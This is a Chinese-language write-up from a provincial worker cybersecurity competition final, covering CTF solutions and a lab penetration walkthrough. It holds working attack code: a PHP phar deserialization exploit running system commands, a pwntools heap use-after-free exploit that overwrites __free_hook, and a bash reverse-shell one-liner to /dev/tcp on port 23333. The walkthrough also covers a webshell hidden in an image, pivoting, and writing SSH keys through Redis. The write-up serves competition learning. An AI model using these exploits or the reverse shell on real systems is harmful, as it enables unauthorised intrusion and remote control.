四川省职工职业技能大赛网络安全决赛WP

上午CTF部分

web

simplelogin

yakit爆破出密码,记得应该是a123456:

 

ppopp

index.php有一个任意文件读取:

<?php

//upload.php

error_reporting(0);

highlight_file(__FILE__);

class A {

    public $a;

    public function __destruct()

    {

        $s=$this->$a;

        $s();

    }

}

class B{

    public $cmd;

    function __invoke(){        

        return $this->start();

    }

    function start(){

        echo system($this->cmd);

    }

}

if(isset($_GET['file'])) {

    if(strstr($_GET['file'], "flag")) {

        die("Get out!");

    }

    echo file_get_contents($_GET['file']);

}

?>

读取upload.php:

<!--?php
error_reporting(0);
if(isset($_FILES['file'])) {
    mkdir("upload");
    $uuid = uniqid();
    $ext = explode(".", $_FILES["file"]["name"]);
    $ext = end($ext);
    move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".png");
    echo "Upload Success! FilePath: upload/".$uuid.".png";
}-->

上传的文件会被改后缀为.png

尝试上传phar文件,并用首页的file_get_contents触发反序列化执行命令:

 

// phar.php

<?php // phar.php
class A {
    public $a;

    public function __destruct()
    {
        $s=$this->a;
        $s();
    }
}
class B{
    public $cmd;
    function __construct(){
        $this->$cmd = "cat flag";
    }
    function __invoke(){        
        return $this->start();
    }
    function start(){
        system($this->cmd);
    }
}
$b = new B();
$b->cmd = "cat /flag";
$a = new A();
$a->a = $b;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("a.txt", "abb"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>

 

上传后访问:

 

 

misc

ftp

流量提取zip,然后密码一样password1234567890

crypto

baby_与佛论禅

aes但是对结果进行了异或后转换成字符,所以转回去解aes就可以

 

ruShiWoWen   = [

    '謹', '穆', '僧', '室', '藝', '瑟', '彌', '提', '蘇', '醯', '盧', '呼', '舍', '參', '沙', '伊',

    '隸', '麼', '遮', '闍', '度', '蒙', '孕', '薩', '夷', '他', '姪', '豆', '特', '逝', '輸', '楞',

    '栗', '寫', '數', '曳', '諦', '羅', '故', '實', '訶', '知', '三', '藐', '耨', '依', '槃', '涅',

    '竟', '究', '想', '夢', '倒', '顛', '遠', '怖', '恐', '礙', '以', '亦', '智', '盡', '老', '至',

    '吼', '足', '幽', '王', '告', '须', '弥', '灯', '护', '金', '刚', '游', '戏', '宝', '胜', '通',

    '药', '师', '琉', '璃', '普', '功', '德', '山', '善', '住', '过', '去', '七', '未', '来', '贤',

    '劫', '千', '五', '百', '万', '花', '亿', '定', '六', '方', '名', '号', '东', '月', '殿', '妙',

    '尊', '树', '根', '西', '皂', '焰', '北', '清', '数', '精', '进', '首', '下', '寂', '量', '诸',

    '多', '释', '迦', '牟', '尼', '勒', '阿', '閦', '陀', '中', '央', '众', '生', '在', '界', '者',

    '行', '于', '及', '虚', '空', '慈', '忧', '各', '令', '安', '稳', '休', '息', '昼', '夜', '修',

    '持', '心', '求', '诵', '此', '经', '能', '灭', '死', '消', '除', '毒', '害', '高', '开', '文',

    '殊', '利', '凉', '如', '念', '即', '说', '曰', '帝', '毘', '真', '陵', '乾', '梭', '哈', '敬',

    '禮', '奉', '祖', '先', '孝', '雙', '親', '守', '重', '師', '愛', '兄', '弟', '信', '朋', '友',

    '睦', '宗', '族', '和', '鄉', '夫', '婦', '教', '孫', '時', '便', '廣', '積', '陰', '難', '濟',

    '急', '恤', '孤', '憐', '貧', '創', '廟', '宇', '印', '造', '經', '捨', '藥', '施', '茶', '戒',

    '殺', '放', '橋', '路', '矜', '寡', '拔', '困', '粟', '惜', '福', '排', '解', '紛', '捐', '資']

enc = "急陰印诵愛謹者時守蒙薩宝至勒量央多牟德殺拔万诸心弥闍忧生诵惜惜矜藥稳灯经急琉羅贤迦弟消吼释心姪室經藝幽他信想室幽究除利宗护及闍究究劫信逝此栗究兄寫树寡鄉弥幽信去"

dec = b''

for i in enc:

    dec += (ruShiWoWen.index(i) ^ 64).to_bytes(1, 'little')

 

 

KEY = b'DASCTF@Key@^_^@Encode!!Buddha!!!'

IV = b'IV|DASCTF|OvO|IV'

from Crypto.Cipher import AES

from Crypto.Util.Padding import pad, unpad

cryptor = AES.new(KEY, AES.MODE_CBC, IV)

# padded_data = pad(data.encode('utf-8'), AES.block_size)

encrypted_data = cryptor.decrypt(dec)

print(encrypted_data)

 

re

NormalAndroid

jadx打开看到只调用了so里的一个函数,ida跟过去看:

 

能看到一个类似key的东西,并且对key进行了变换:

表:

 

然后进入到加密逻辑是一个AES加密,跟过去是S盒被改过:

所以就是找一个aes实现的代码改一下S盒,然后用变换过的key解密,因为断网比赛,当时没存脚本所以没做出来:


from Crypto.Util.number import long_to_bytes, bytes_to_long

# https://github.com/bozhu/AES-Python/blob/master/aes.py
    
Sbox = (
    0xBE, 0xB4, 0x9F, 0x70, 0xDB, 0xAD, 0x31, 0x30, 0x6C, 0x87, 
    0x74, 0x27, 0xC9, 0x4C, 0x67, 0x62, 0x0A, 0x36, 0x08, 0xC8, 
    0x96, 0x32, 0x00, 0xF1, 0x38, 0x65, 0xEC, 0xED, 0x44, 0x25, 
    0xAA, 0x33, 0x86, 0xEF, 0x0D, 0x19, 0x7D, 0xD5, 0x45, 0xFB, 
    0x8D, 0x61, 0xFE, 0x50, 0x47, 0x7E, 0x7C, 0xF9, 0x01, 0xDE, 
    0xFF, 0xE1, 0xAC, 0x5D, 0xB5, 0x8E, 0x48, 0xBF, 0x90, 0x9D, 
    0x79, 0xCB, 0xA6, 0xA9, 0xFC, 0x34, 0xCF, 0x63, 0x5A, 0x99, 
    0x98, 0xB8, 0x92, 0x2D, 0x02, 0x89, 0x2C, 0x3B, 0x15, 0x72, 
    0x5E, 0x60, 0x29, 0x6F, 0x0B, 0x24, 0x6D, 0x1C, 0x5B, 0xE0, 
    0x37, 0xA4, 0xCC, 0x12, 0x93, 0xA7, 0x09, 0xC6, 0xB6, 0x8F, 
    0x04, 0x20, 0xE8, 0x46, 0xB1, 0xAE, 0x3A, 0x68, 0x81, 0xCE, 
    0x2B, 0x0C, 0xB3, 0x3E, 0xC0, 0x0E, 0x4D, 0xD8, 0xD2, 0xA2, 
    0x9E, 0x56, 0x28, 0xB0, 0x35, 0x1B, 0x5F, 0xF5, 0x05, 0xBC, 
    0x3C, 0x4F, 0x8C, 0xE6, 0xF6, 0x75, 0xF4, 0xF8, 0xDD, 0x11, 
    0xC1, 0xB9, 0x4E, 0x97, 0xD6, 0xF2, 0xE4, 0xD1, 0x82, 0xD3, 
    0x03, 0x8B, 0x4B, 0xCA, 0x64, 0xEB, 0xAB, 0x71, 0xA1, 0xBA, 
    0xA8, 0x6A, 0x1E, 0x1A, 0xA5, 0x49, 0x6E, 0x53, 0x66, 0x39, 
    0x51, 0xE9, 0x26, 0xC4, 0xDA, 0x55, 0x3F, 0xEA, 0x85, 0x8A, 
    0xD9, 0x13, 0x69, 0x1F, 0xE2, 0x7F, 0x2F, 0xC5, 0x88, 0x57, 
    0x73, 0xA3, 0xE3, 0x0F, 0xBB, 0x18, 0xE5, 0x42, 0x22, 0x52, 
    0x43, 0x80, 0x2A, 0x6B, 0x17, 0xD7, 0x23, 0x06, 0x58, 0x1D, 
    0x7A, 0x84, 0xE7, 0xEE, 0xD0, 0x41, 0xD4, 0xBD, 0xA0, 0xC3, 
    0xC2, 0xFD, 0x21, 0x54, 0xDF, 0x7B, 0xB7, 0xF0, 0xB2, 0x77, 
    0x3D, 0x07, 0x78, 0x16, 0x9C, 0x59, 0xAF, 0x2E, 0x83, 0xFA, 
    0x9B, 0x95, 0xF7, 0x40, 0x94, 0xF3, 0xCD, 0xC7, 0x91, 0x10, 
    0xDC, 0x4A, 0x14, 0x9A, 0x5C, 0x76
)

InvSbox = [Sbox.index(i) for i in range(256)]

# learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)


Rcon = (
    0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
    0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
    0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
    0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)


def text2matrix(text):
    matrix = []
    for i in range(16):
        byte = (text >> (8 * (15 - i))) & 0xFF
        if i % 4 == 0:
            matrix.append([byte])
        else:
            matrix[i // 4].append(byte)
    return matrix


def matrix2text(matrix):
    text = 0
    for i in range(4):
        for j in range(4):
            text |= (matrix[i][j] << (120 - 8 * (4 * i + j)))
    return text


class AES:
    def __init__(self, master_key):
        self.change_key(master_key)

    def change_key(self, master_key):
        self.round_keys = text2matrix(master_key)
        # print self.round_keys

        for i in range(4, 4 * 11):
            self.round_keys.append([])
            if i % 4 == 0:
                byte = self.round_keys[i - 4][0]        \
                     ^ Sbox[self.round_keys[i - 1][1]]  \
                     ^ Rcon[i // 4]
                self.round_keys[i].append(byte)

                for j in range(1, 4):
                    byte = self.round_keys[i - 4][j]    \
                         ^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
                    self.round_keys[i].append(byte)
            else:
                for j in range(4):
                    byte = self.round_keys[i - 4][j]    \
                         ^ self.round_keys[i - 1][j]
                    self.round_keys[i].append(byte)

        # print self.round_keys

    def encrypt(self, plaintext):
        self.plain_state = text2matrix(plaintext)

        self.__add_round_key(self.plain_state, self.round_keys[:4])

        for i in range(1, 10):
            self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)])

        self.__sub_bytes(self.plain_state)
        self.__shift_rows(self.plain_state)
        self.__add_round_key(self.plain_state, self.round_keys[40:])

        return matrix2text(self.plain_state)

    def decrypt(self, ciphertext):
        self.cipher_state = text2matrix(ciphertext)

        self.__add_round_key(self.cipher_state, self.round_keys[40:])
        self.__inv_shift_rows(self.cipher_state)
        self.__inv_sub_bytes(self.cipher_state)

        for i in range(9, 0, -1):
            self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)])

        self.__add_round_key(self.cipher_state, self.round_keys[:4])

        return matrix2text(self.cipher_state)

    def __add_round_key(self, s, k):
        for i in range(4):
            for j in range(4):
                s[i][j] ^= k[i][j]


    def __round_encrypt(self, state_matrix, key_matrix):
        self.__sub_bytes(state_matrix)
        self.__shift_rows(state_matrix)
        self.__mix_columns(state_matrix)
        self.__add_round_key(state_matrix, key_matrix)


    def __round_decrypt(self, state_matrix, key_matrix):
        self.__add_round_key(state_matrix, key_matrix)
        self.__inv_mix_columns(state_matrix)
        self.__inv_shift_rows(state_matrix)
        self.__inv_sub_bytes(state_matrix)

    def __sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = Sbox[s[i][j]]


    def __inv_sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = InvSbox[s[i][j]]


    def __shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]


    def __inv_shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

    def __mix_single_column(self, a):
        # please see Sec 4.1.2 in The Design of Rijndael
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)


    def __mix_columns(self, s):
        for i in range(4):
            self.__mix_single_column(s[i])


    def __inv_mix_columns(self, s):
        # see Sec 4.1.3 in The Design of Rijndael
        for i in range(4):
            u = xtime(xtime(s[i][0] ^ s[i][2]))
            v = xtime(xtime(s[i][1] ^ s[i][3]))
            s[i][0] ^= u
            s[i][1] ^= v
            s[i][2] ^= u
            s[i][3] ^= v

        self.__mix_columns(s)

key = b"Hi Android!0oO00"
table = [
    0x0A, 0x02, 0x01, 0x0D, 0x0B, 0x09, 0x0E, 0x08, 0x07, 0x05, 
    0x00, 0x04, 0x0F, 0x03, 0x06, 0x0C
]
key = bytes([key[i] for i in table])

enc = [
    0x29, 0x9C, 0xB0, 0x7E, 0x81, 0x55, 0x5B, 0x08, 0x55, 0x6F, 
    0x70, 0xC8, 0x2A, 0x8B, 0xA4, 0xC8, 0xA3, 0x3A, 0x60, 0x9B, 
    0x6E, 0xFD, 0xDC, 0x7A, 0xC7, 0x6B, 0xCC, 0xAC, 0x32, 0xB3, 
    0xDF, 0x3E
]

flag = b""
cipher = AES(bytes_to_long(key))
dec = cipher.decrypt(bytes_to_long(bytes(enc[:16])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
dec = cipher.decrypt(bytes_to_long(bytes(enc[16:])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
print(flag)

pwn

shopping

添加一个货物会分配两个0x98,释放后没置空导致存在uaf,创建多个堆块后释放到unsorted bin泄露libc,然后利用编辑功能修改tcache的bk为freehook,填入one_gadget利用

from pwn import *
libc = ELF("./libc.so.6")
# p = process("./pwn_1")
p = remote("10.1.100.34", 9999)
# context.log_level = 'debug'
def add(content):
    p.sendlineafter(": ", b"2")
    p.sendlineafter(": ", b"1")
    p.sendlineafter(":", content)

def free(idx):
    p.sendlineafter(": ", b"3")
    p.sendlineafter(": ", str(idx).encode())

def show():
    p.sendlineafter(": ", b"5")

def edit(idx, content):
    p.sendlineafter(": ", b"4")
    p.sendlineafter(": ", str(idx).encode())
    p.sendlineafter(":", content)

for i in range(9):
    add(b'a')
for i in range(8):
    free(i)

show()
p.recvuntil(b"------------------------------\n")
heap = int(p.recvuntil(b" "), 10) - 0xc50
success(f"heap: {hex(heap)}")
p.recvuntil(b"------------------------------\n")
p.recvuntil(b"------------------------------\n")
libc.address = int(p.recvuntil(b" "), 10) - 0x3ebca0
success(f"libc: {hex(libc.address)}")
# pause()
edit(3, p64(libc.sym['__free_hook']))
add(p64(libc.address + 0x4f302))
add(p64(libc.address + 0x4f302))
free(0)
p.interactive()

 

ai

scene-1

import csv
from collections import defaultdict
 
# Load the data from the CSV file
with open('data/network_traffic_logs_q1.csv', 'r', encoding='utf-8') as csvfile:
    reader = csv.DictReader(csvfile)
    data = [row for row in reader]
 
# Step 1: Count the number of each event type
event_type_count = defaultdict(int)
for row in data:
    event_type_count[row['event_type']] += 1
 
# print(event_type_count)
top_source_ip = {}
for row in data:
    if row['source_ip'] not in top_source_ip.get(row['event_type'], []):
        top_source_ip.setdefault(row['event_type'], []).append(row['source_ip'])
    else:
        # top_source_ip[row['event_type']].remove(row['source_ip'])
        top_source_ip[row['event_type']].append(row['source_ip'])
 
def max_times(l):
    a = {}
    for i in l:
        if a.get(i):
            a[i] += 1
        else:
            a[i] = 1
    max = 0
    top = ''
    for i, j in a.items():
        if max < j:
            max = j
            top = i
    print(top)
    return top
 
# Step 3: Generate the output CSV file
with open('output.csv', 'w', encoding='utf-8') as csvfile:
    writer = csv.writer(csvfile)
    writer.writerow(['event_type', 'event_type_count', 'top_source_ip'])
    for event_type, count in event_type_count.items():
        writer.writerow([event_type, count, max_times(top_source_ip[event_type])])

 

scene-2

import pandas as pd
import ipaddress
import csv
data = pd.read_csv("./data/network_traffic_logs_q2.csv", dtype={'source_ip': str, 'destination_port': str, 'source_port': str, 'destination_port': str}, encoding='utf-8')
 
# timestamp,source_ip,destination_ip,source_port,destination_port,packet_size
 
# data['connection'] = int(ipaddress.IPv4Address(data['source_ip'])) + '-' + data['source_port'] + '-' + int(ipaddress.IPv4Address(data['destination_ip'])) + '-' + data['destination_port']
# data['connection'] = int(ipaddress.IPv4Address(data['source_ip']))
# data.to_csv('result.csv', index=False, encoding='utf-8')
source_ips = []
for i in data['source_ip']:
    source_ips.append(str(int(ipaddress.IPv4Address(i))))
source_ports = []
for i in data['source_port']:
    source_ports.append(i)
destination_ips = []
for i in data['destination_ip']:
    destination_ips.append(str(int(ipaddress.IPv4Address(i))))
destination_ports = []
for i in data['destination_port']:
    destination_ports.append(i)
sizes = []
for i in data['packet_size']:
    sizes.append(i)
 
result = {}
for i in range(len(source_ips)):
    temp = source_ips[i] + "-" + source_ports[i] + "-" + destination_ips[i] + "-" + destination_ports[i]
    if not result.get(temp):
        result[temp] = sizes[i]
    else:
        result[temp] += sizes[i]
# print(result)
with open('output.csv', 'w', encoding='utf-8') as csvfile:
    writer = csv.writer(csvfile)
    writer.writerow(['connection', 'total_packet_size'])
    for connection, total_packet_size in result.items():
        writer.writerow([connection, total_packet_size])

 

另外两个AI题目,准备了本地的llama3和codellama的大模型(用ollama),但是比赛的时候没能成功让大模型写出来解题代码。

下午国产化环境漏洞挖掘赛部分

flag1

上来打开robots.txt:

然后扫到一个DS_Store

打开能看到test.php,同时扫描器也扫到test.php,可以上传文件

flag2

上传图片,有一些检查,所以直接在正常图片末尾加一句话木马,蚁剑连接

弹个shell回来:

bash -i >& /dev/tcp/10.50.137.28/23333 0>&1

上传fscan,cat /proc/net/arp看内网,然后扫网段192.168.35.1/24

然后拉代理出来

flag3

 

xray扫到一台nacos,用vulhub的脚本挂代理打:

登陆后看到flag3:

 

flag7

nacos里的另一个配置文件里有一个密码xinchuang123qwe,用这个密码连redis,写公钥然后SSH上去可以看到flag7,在192的机器里。

flag10

flag10要求计算麒麟主机的/proc/version的md5,实际上就是入口机器,但是这个文件用哥斯拉的马才能读取:

 

 

 

 

 

赛题附件下载地址:链接: https://pan.baidu.com/s/1t-d-s4g-QN90e1B0ekBK3A 提取码: eyj8 

 

 

 

原文转载链接地址:

https://mp.weixin.qq.com/s/-3Am_wGCgc2aOaedk91g9w

posted @ 2024-08-02 12:49  渗透测试中心  阅读(134)  评论(0编辑  收藏  举报